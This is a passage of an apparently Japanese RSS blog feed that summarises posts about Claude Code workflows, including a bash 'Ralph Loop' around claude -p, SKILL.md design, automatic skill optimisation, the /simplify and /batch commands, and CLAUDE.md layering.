+0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%82%B9%E3%82%AD%E3%83%AB%E3%81%A7-ai-%E3%83%AF%E3%83%BC%E3%82%AF%E3%83%95%E3%83%AD%E3%83%BC%E3%82%92%E8%87%AA%E5%8B%95%E5%8C%96%E3%81%99%E3%82%8B-ralph-loop--yaml-%E5%AE%A3%E8%A8%80%E7%9A%84%E5%AE%9A%E7%BE%A9%E3%81%AE%E5%AE%9F%E8%B7%B5/</guid><description>&lt;h1 id="claude-code-スキルで-ai-ワークフローを自動化する--ralph-loop--yaml-宣言的定義の実践"&gt;Claude Code スキルで AI ワークフローを自動化する — Ralph Loop + YAML 宣言的定義の実践&lt;/h1&gt;
&lt;p&gt;kenfdev さん（&lt;a href="https://x.com/kenfdev"&gt;@kenfdev&lt;/a&gt;）が、Claude Code のスキル機能を活用した AI エージェントのワークフロー自動化について、実践的な技術記事を公開しています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Claude Code のスキルを中心に、AIエージェントのワークフローを自動化してみた話を書きました。
bash の while ループで claude -p を繰り返す Ralph Loop と、YAML でワークフロー定義を組み合わせて、plan → implement → review → finalize を自律的に回す仕組みです。
TAKTほどの精度には及ばないのですが、それなりに自分のワークフローでは活用できています。&lt;/p&gt;
&lt;p&gt;— &lt;a href="https://x.com/kenfdev/status/2024079025065558483"&gt;kenfdev (@kenfdev)&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;記事の核は「Ralph Loop」と「YAML ワークフロー定義」という 2 つの技術を Claude Code スキルで統合し、&lt;strong&gt;plan → implement → review → finalize&lt;/strong&gt; を自律的に回す仕組みです。&lt;/p&gt;
&lt;h2 id="ralph-loop-とは何か"&gt;Ralph Loop とは何か&lt;/h2&gt;
&lt;h3 id="起源"&gt;起源&lt;/h3&gt;
&lt;p&gt;Ralph Loop（正式には Ralph Wiggum Loop）は、Geoffrey Huntley が考案した AI 開発自動化パターンです。名前はシンプソンズのキャラクターに由来しますが、仕組み自体は極めてシンプルです。&lt;/p&gt;
&lt;h3 id="基本構造"&gt;基本構造&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;7
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; true; &lt;span style="color:#66d9ef"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; result&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;claude -p &lt;span style="color:#e6db74"&gt;&amp;#34;プロンプト&amp;#34;&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# 完了判定&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#f92672"&gt;[[&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;$result&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;==&lt;/span&gt; *&lt;span style="color:#e6db74"&gt;&amp;#34;COMPLETE&amp;#34;&lt;/span&gt;* &lt;span style="color:#f92672"&gt;]]&lt;/span&gt;; &lt;span style="color:#66d9ef"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; break
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;bash の &lt;code&gt;while&lt;/code&gt; ループで &lt;code&gt;claude -p&lt;/code&gt;（ヘッドレスモード）を繰り返し呼び出す、たったこれだけです。&lt;code&gt;-p&lt;/code&gt; フラグは Claude Code を非対話モードで実行し、結果を標準出力に返します。&lt;/p&gt;</description></item><item><title>Claude Code スキルで「穴場市場」を自動発掘 — コードを書かない AI エージェント活用術</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%82%B9%E3%82%AD%E3%83%AB%E3%81%A7%E7%A9%B4%E5%A0%B4%E5%B8%82%E5%A0%B4%E3%82%92%E8%87%AA%E5%8B%95%E7%99%BA%E6%8E%98-%E3%82%B3%E3%83%BC%E3%83%89%E3%82%92%E6%9B%B8%E3%81%8B%E3%81%AA%E3%81%84-ai-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E6%B4%BB%E7%94%A8%E8%A1%93/</link><pubDate>Mon, 02 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%82%B9%E3%82%AD%E3%83%AB%E3%81%A7%E7%A9%B4%E5%A0%B4%E5%B8%82%E5%A0%B4%E3%82%92%E8%87%AA%E5%8B%95%E7%99%BA%E6%8E%98-%E3%82%B3%E3%83%BC%E3%83%89%E3%82%92%E6%9B%B8%E3%81%8B%E3%81%AA%E3%81%84-ai-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E6%B4%BB%E7%94%A8%E8%A1%93/</guid><description>&lt;h1 id="claude-code-スキルで穴場市場を自動発掘--コードを書かない-ai-エージェント活用術"&gt;Claude Code スキルで「穴場市場」を自動発掘 — コードを書かない AI エージェント活用術&lt;/h1&gt;
&lt;p&gt;「Claude Code はプログラミング支援ツール」——そう思い込んでいませんか？&lt;/p&gt;
&lt;p&gt;&lt;a href="https://x.com/koder_dev/status/2027323578367242690"&gt;@koder_dev さんのポスト&lt;/a&gt; で紹介された &lt;a href="https://zenn.dev/s4kura/articles/claude-code-indie-idea-scout-skill"&gt;Zenn 記事（s4kura 氏）&lt;/a&gt; が話題になっています。Claude Code の &lt;strong&gt;スキル機能&lt;/strong&gt; を使って「穴場市場を探させる」という、コーディングとは全く異なる使い方です。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;「Claude Code にスキル自作させて穴場市場探させるって Zenn の記事めっちゃ面白かった。いや本当自分の周りも自作 skill でプログラミング作って色んな作業やらせてる、無限に応用効くからなー」— @koder_dev&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="claude-code-スキルとは何か"&gt;Claude Code スキルとは何か&lt;/h2&gt;
&lt;h3 id="基本概念"&gt;基本概念&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://code.claude.com/docs/ja/skills"&gt;Claude Code のスキル&lt;/a&gt;は、&lt;code&gt;SKILL.md&lt;/code&gt; ファイルに指示を記述することで Claude の機能を拡張する仕組みです。いわば &lt;strong&gt;「プロンプトエンジニアリングのパッケージ化」&lt;/strong&gt; です。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;スキルなし:
毎回 → 「こういう手順で」「こういう基準で」「こういう形式で」と指示
結果 → 指示漏れ、品質のばらつき
スキルあり:
毎回 → /skill-name と入力するだけ
結果 → 事前定義した手順・基準・形式が自動適用
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="スキルの構造"&gt;スキルの構造&lt;/h3&gt;
&lt;p&gt;スキルは &lt;code&gt;SKILL.md&lt;/code&gt; を中心としたディレクトリです。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;my-skill/
├── SKILL.md # メイン指示（必須）
├── references/ # 判断基準・リファレンス（任意）
├── templates/ # テンプレート（任意）
├── scripts/ # 実行スクリプト（任意）
└── examples/ # サンプル出力（任意）
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;SKILL.md&lt;/code&gt; は YAML フロントマターとマークダウンコンテンツの 2 部構成です。&lt;/p&gt;</description></item><item><title>Claude Code スキルの自動最適化 — テキスト勾配で「職人芸プロンプト」を工学に変える</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%82%B9%E3%82%AD%E3%83%AB%E3%81%AE%E8%87%AA%E5%8B%95%E6%9C%80%E9%81%A9%E5%8C%96-%E3%83%86%E3%82%AD%E3%82%B9%E3%83%88%E5%8B%BE%E9%85%8D%E3%81%A7%E8%81%B7%E4%BA%BA%E8%8A%B8%E3%83%97%E3%83%AD%E3%83%B3%E3%83%97%E3%83%88%E3%82%92%E5%B7%A5%E5%AD%A6%E3%81%AB%E5%A4%89%E3%81%88%E3%82%8B/</link><pubDate>Mon, 02 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%82%B9%E3%82%AD%E3%83%AB%E3%81%AE%E8%87%AA%E5%8B%95%E6%9C%80%E9%81%A9%E5%8C%96-%E3%83%86%E3%82%AD%E3%82%B9%E3%83%88%E5%8B%BE%E9%85%8D%E3%81%A7%E8%81%B7%E4%BA%BA%E8%8A%B8%E3%83%97%E3%83%AD%E3%83%B3%E3%83%97%E3%83%88%E3%82%92%E5%B7%A5%E5%AD%A6%E3%81%AB%E5%A4%89%E3%81%88%E3%82%8B/</guid><description>&lt;h1 id="claude-code-スキルの自動最適化--テキスト勾配で職人芸プロンプトを工学に変える"&gt;Claude Code スキルの自動最適化 — テキスト勾配で「職人芸プロンプト」を工学に変える&lt;/h1&gt;
&lt;p&gt;「プロンプトは職人芸」——そんな時代が終わりつつあります。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://x.com/yusuke_post/status/2027348800331972703"&gt;@yusuke_post さん&lt;/a&gt; が発表した &lt;a href="https://x.com/i/article/2026959443972530176"&gt;X 記事&lt;/a&gt; では、&lt;strong&gt;プロンプトエンジニアリングを自動化する研究を応用して Claude Code の Skills を自動最適化&lt;/strong&gt;する手法が紹介されています。ヒアリングメモから SaaS 導入提案書を生成するスキルを題材に、4 イテレーションで 13.6 点のスコア改善を達成しました。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://x.com/kgsi/status/2027603672860074265"&gt;@kgsi さん&lt;/a&gt; も「この取り組みすごい、ナレッジが溜まっている企業や組織ほどこの仕組みで効果が出そう」と反応しています。&lt;/p&gt;
&lt;h2 id="全体像何がどう繋がっているのか"&gt;全体像：何がどう繋がっているのか&lt;/h2&gt;
&lt;p&gt;この記事で扱う内容を先に俯瞰します。&lt;/p&gt;
&lt;h3 id="課題"&gt;課題&lt;/h3&gt;
&lt;p&gt;Claude Code の Skills（SKILL.md）は、タスクの手順を定義する「指示書」です。しかし、良い指示書を書くのは難しく、試行錯誤が属人的になりがちです。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code class="language-mermaid" data-lang="mermaid"&gt;graph LR
A[&amp;#34;人間が SKILL.md を書く&amp;#34;] --&amp;gt; B[&amp;#34;実行&amp;#34;]
B --&amp;gt; C[&amp;#34;結果がイマイチ&amp;#34;]
C --&amp;gt; D[&amp;#34;🤔 勘で修正&amp;lt;br/&amp;gt;（= 職人芸）&amp;#34;]
D --&amp;gt; B
style D fill:#f9c74f,color:#000
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="解決策テキスト勾配による自動改善ループ"&gt;解決策：テキスト勾配による自動改善ループ&lt;/h3&gt;
&lt;p&gt;深層学習がパラメータを自動で最適化するように、&lt;strong&gt;SKILL.md を自動で最適化する&lt;/strong&gt;のがテキスト勾配です。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code class="language-mermaid" data-lang="mermaid"&gt;graph TD
A[&amp;#34;① SKILL.md（現在の指示書）で実行&amp;#34;] --&amp;gt; B[&amp;#34;② 出力を正解データと比較&amp;lt;br/&amp;gt;（人間の過去の成果物）&amp;#34;]
B --&amp;gt; C[&amp;#34;③ AI が差分を分析し改善点を言語化&amp;lt;br/&amp;gt;= テキスト勾配&amp;#34;]
C --&amp;gt; D[&amp;#34;④ テキスト勾配に従って&amp;lt;br/&amp;gt;SKILL.md を改訂&amp;#34;]
D --&amp;gt; E[&amp;#34;⑤ 改訂版で再実行&amp;#34;]
E --&amp;gt; B
C -.- F[&amp;#34;例: 優先度の整理ステップが欠如している&amp;#34;]
style C fill:#4ecdc4,color:#000
style F fill:#f0f0f0,color:#555,stroke-dasharray: 5 5
&lt;/code&gt;&lt;/pre&gt;&lt;blockquote&gt;
&lt;p&gt;4 回繰り返すだけで 13.6 点のスコア改善を達成。&lt;/p&gt;</description></item><item><title>Claude Code の /simplify と /batch — AIコーディングは「書く」から「整える・並列で移す」へ</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%81%AE-/simplify-%E3%81%A8-/batch-ai%E3%82%B3%E3%83%BC%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0%E3%81%AF%E6%9B%B8%E3%81%8F%E3%81%8B%E3%82%89%E6%95%B4%E3%81%88%E3%82%8B%E4%B8%A6%E5%88%97%E3%81%A7%E7%A7%BB%E3%81%99%E3%81%B8/</link><pubDate>Mon, 02 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%81%AE-/simplify-%E3%81%A8-/batch-ai%E3%82%B3%E3%83%BC%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0%E3%81%AF%E6%9B%B8%E3%81%8F%E3%81%8B%E3%82%89%E6%95%B4%E3%81%88%E3%82%8B%E4%B8%A6%E5%88%97%E3%81%A7%E7%A7%BB%E3%81%99%E3%81%B8/</guid><description>&lt;h1 id="claude-code-の-simplify-と-batch--ai-コーディングは書くから整える並列で移すへ"&gt;Claude Code の /simplify と /batch — AI コーディングは「書く」から「整える・並列で移す」へ&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/TsukasansanUTT/status/2028365941680324977"&gt;Tsukasansan 氏のポスト&lt;/a&gt;が、Claude Code v2.1.63 で追加された 2 つの新スキル &lt;code&gt;/simplify&lt;/code&gt; と &lt;code&gt;/batch&lt;/code&gt; を紹介しています。この 2 つのスキルは、AI の役割を「コードを書く補助ツール」から「品質を整え、大規模な変更を並列実行する分業チーム」へと変える転換点です。&lt;/p&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;/simplify — PRに出す前の「仕上げ」を自動化&lt;/li&gt;
&lt;li&gt;/batch — 大規模マイグレーションを並列で一気に実行&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;p&gt;Claude Code の開発者 Boris Cherny 氏も、この 2 つのスキルについて「毎日使っている」と&lt;a href="https://www.threads.com/@boris_cherny/post/DVR-HzBkqRd/"&gt;述べています&lt;/a&gt;。&lt;/p&gt;
&lt;h2 id="simplify-3-つのエージェントによる自動コードレビュー"&gt;/simplify: 3 つのエージェントによる自動コードレビュー&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;/simplify&lt;/code&gt; は、実装完了後に実行する「仕上げ」コマンドです。&lt;code&gt;git diff&lt;/code&gt; で最近の変更を検出し、&lt;strong&gt;3 つの専門レビューエージェントを並列実行&lt;/strong&gt;します。&lt;/p&gt;
&lt;h3 id="3-つのレビュー観点"&gt;3 つのレビュー観点&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;エージェント&lt;/th&gt;
&lt;th&gt;検出対象&lt;/th&gt;
&lt;th&gt;具体例&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;コード再利用&lt;/td&gt;
&lt;td&gt;重複ロジック、既存ユーティリティで置き換え可能なコード&lt;/td&gt;
&lt;td&gt;同じバリデーションが 3 箇所にコピペされている&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;コード品質&lt;/td&gt;
&lt;td&gt;冗長な状態管理、パラメータの肥大化、リーク抽象化&lt;/td&gt;
&lt;td&gt;引数が 8 個ある関数、使われていない変数&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;効率性&lt;/td&gt;
&lt;td&gt;不要な処理、並列化の機会、ホットパス内の重い処理&lt;/td&gt;
&lt;td&gt;ループ内での毎回の DB クエリ、不要な再レンダリング&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;3 つのエージェントが問題を検出するだけでなく、&lt;strong&gt;修正まで自動的に適用&lt;/strong&gt;します。従来のリンターと異なり、高レベルのアーキテクチャ上の問題に対応するのが特徴です。&lt;/p&gt;
&lt;h3 id="使い方"&gt;使い方&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;7
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# 基本: 変更ファイルを自動レビュー・修正&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/simplify
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# 特定の観点にフォーカス&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/simplify focus on memory efficiency
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/simplify check &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; unnecessary dependencies
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/simplify focus on security patterns in the auth flow
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="実践的なワークフロー"&gt;実践的なワークフロー&lt;/h3&gt;
&lt;p&gt;実装完了後、PR を出す前に &lt;code&gt;/simplify&lt;/code&gt; を実行するだけです。&lt;/p&gt;</description></item><item><title>Claude Code の「処理」と「ドメイン知識」をレイヤー分離する設計術</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%81%AE%E5%87%A6%E7%90%86%E3%81%A8%E3%83%89%E3%83%A1%E3%82%A4%E3%83%B3%E7%9F%A5%E8%AD%98%E3%82%92%E3%83%AC%E3%82%A4%E3%83%A4%E3%83%BC%E5%88%86%E9%9B%A2%E3%81%99%E3%82%8B%E8%A8%AD%E8%A8%88%E8%A1%93/</link><pubDate>Mon, 02 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%81%AE%E5%87%A6%E7%90%86%E3%81%A8%E3%83%89%E3%83%A1%E3%82%A4%E3%83%B3%E7%9F%A5%E8%AD%98%E3%82%92%E3%83%AC%E3%82%A4%E3%83%A4%E3%83%BC%E5%88%86%E9%9B%A2%E3%81%99%E3%82%8B%E8%A8%AD%E8%A8%88%E8%A1%93/</guid><description>&lt;h1 id="claude-code-の処理とドメイン知識をレイヤー分離する設計術--スキルが複利で効く構造をつくる"&gt;Claude Code の「処理」と「ドメイン知識」をレイヤー分離する設計術 — スキルが複利で効く構造をつくる&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://github.com/hdknr/journals/issues/14#issuecomment-3982765285"&gt;gura 氏の投稿&lt;/a&gt;が、Claude Code を使った PM 業務の知見を共有しています。2 ヶ月間の実運用で最も効いた設計判断は、&lt;strong&gt;Skill（処理レイヤー）と CLAUDE.md（ドメイン知識レイヤー）の分離&lt;/strong&gt;だったとのことです。この考え方は、Claude Code の公式アーキテクチャとも一致する設計パターンです。&lt;/p&gt;
&lt;h2 id="問題なぜ全部入りの設定は破綻するのか"&gt;問題：なぜ全部入りの設定は破綻するのか&lt;/h2&gt;
&lt;p&gt;Claude Code を使い始めると、多くの人が CLAUDE.md にあらゆる情報を詰め込みます。プロジェクトの規約、処理手順、ドメイン知識、スタイルガイド。しかしこの「全部入り」アプローチには構造的な問題があります。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;コンテキスト汚染&lt;/strong&gt;: CLAUDE.md はセッション開始時に全文がロードされるため、情報量が増えるほどトークンを圧迫します&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Lost in the Middle&lt;/strong&gt;: 長大なコンテキストの中間部分が軽視される現象が発生します&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;再利用不能&lt;/strong&gt;: プロジェクト固有の知識と汎用的な処理手順が混在し、別プロジェクトへの横展開ができません&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="https://developer.so-tech.co.jp/entry/2026/02/27/113000"&gt;SO Technologies 開発者ブログの分析&lt;/a&gt;によると、全部入り CLAUDE.md はセッション開始時にコンテキストの 40〜50% を占有するケースもあったと報告されています。&lt;/p&gt;
&lt;h2 id="2-つのレイヤーを分離する"&gt;2 つのレイヤーを分離する&lt;/h2&gt;
&lt;p&gt;gura 氏が提唱するのは、明確な 2 層構造です。&lt;/p&gt;
&lt;h3 id="skill--処理レイヤー"&gt;Skill = 処理レイヤー&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;「どのフォルダから何を読んで、どう加工して、どこに出すか」を定義する&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Skill は入力と出力が明確な、小さな処理単位です。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Skill の例&lt;/th&gt;
&lt;th&gt;入力&lt;/th&gt;
&lt;th&gt;出力&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;議事録の文字起こし&lt;/td&gt;
&lt;td&gt;音声データ&lt;/td&gt;
&lt;td&gt;テキスト議事録&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;外部向け議事録変換&lt;/td&gt;
&lt;td&gt;内部議事録&lt;/td&gt;
&lt;td&gt;フィルタリング済み議事録&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Slack 共有&lt;/td&gt;
&lt;td&gt;文書&lt;/td&gt;
&lt;td&gt;Slack メッセージ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;レポート生成&lt;/td&gt;
&lt;td&gt;各種データ&lt;/td&gt;
&lt;td&gt;フォーマット済みレポート&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Skill は &lt;strong&gt;どのプロジェクトでも処理の骨格は同じ&lt;/strong&gt; です。ファイルの場所は &lt;code&gt;.claude/skills/&amp;lt;skill-name&amp;gt;/SKILL.md&lt;/code&gt; に配置し、YAML フロントマターで名前と説明を記述します。&lt;/p&gt;</description></item><item><title>Claude Code ベストプラクティス — 成果を安定させる 7 つの鉄則と公式ガイドの設計思想</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%83%99%E3%82%B9%E3%83%88%E3%83%97%E3%83%A9%E3%82%AF%E3%83%86%E3%82%A3%E3%82%B9-%E6%88%90%E6%9E%9C%E3%82%92%E5%AE%89%E5%AE%9A%E3%81%95%E3%81%9B%E3%82%8B-7-%E3%81%A4%E3%81%AE%E9%89%84%E5%89%87%E3%81%A8%E5%85%AC%E5%BC%8F%E3%82%AC%E3%82%A4%E3%83%89%E3%81%AE%E8%A8%AD%E8%A8%88%E6%80%9D%E6%83%B3/</link><pubDate>Mon, 02 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%83%99%E3%82%B9%E3%83%88%E3%83%97%E3%83%A9%E3%82%AF%E3%83%86%E3%82%A3%E3%82%B9-%E6%88%90%E6%9E%9C%E3%82%92%E5%AE%89%E5%AE%9A%E3%81%95%E3%81%9B%E3%82%8B-7-%E3%81%A4%E3%81%AE%E9%89%84%E5%89%87%E3%81%A8%E5%85%AC%E5%BC%8F%E3%82%AC%E3%82%A4%E3%83%89%E3%81%AE%E8%A8%AD%E8%A8%88%E6%80%9D%E6%83%B3/</guid><description>&lt;h1 id="claude-code-ベストプラクティス--成果を安定させる-7-つの鉄則と公式ガイドの設計思想"&gt;Claude Code ベストプラクティス — 成果を安定させる 7 つの鉄則と公式ガイドの設計思想&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/qiitapoi/status/2028011497528836528"&gt;qiitapoi 氏のポスト&lt;/a&gt;が、Qiita 記事「Claude Code ベストプラクティス &amp;ndash; 成果を安定させる 7 つの鉄則」を紹介しています。この記事は、Claude Code の公式ベストプラクティスを実務者の視点で 7 つのルールに凝縮したもので、「具体的に頼む」「必ず検証する」という基本から、セッション管理やコスト意識まで、日々の運用に直結する指針をまとめています。&lt;/p&gt;
&lt;p&gt;本記事では、この 7 つの鉄則を公式ドキュメントの設計思想と照らし合わせながら、なぜそのルールが効くのかを掘り下げます。&lt;/p&gt;
&lt;h2 id="公式ベストプラクティスの根本原則-コンテキストウィンドウ"&gt;公式ベストプラクティスの根本原則: コンテキストウィンドウ&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://code.claude.com/docs/ja/best-practices"&gt;Claude Code 公式ベストプラクティス&lt;/a&gt;は、冒頭で明確に述べています。&lt;/p&gt;
&lt;blockquote&gt;
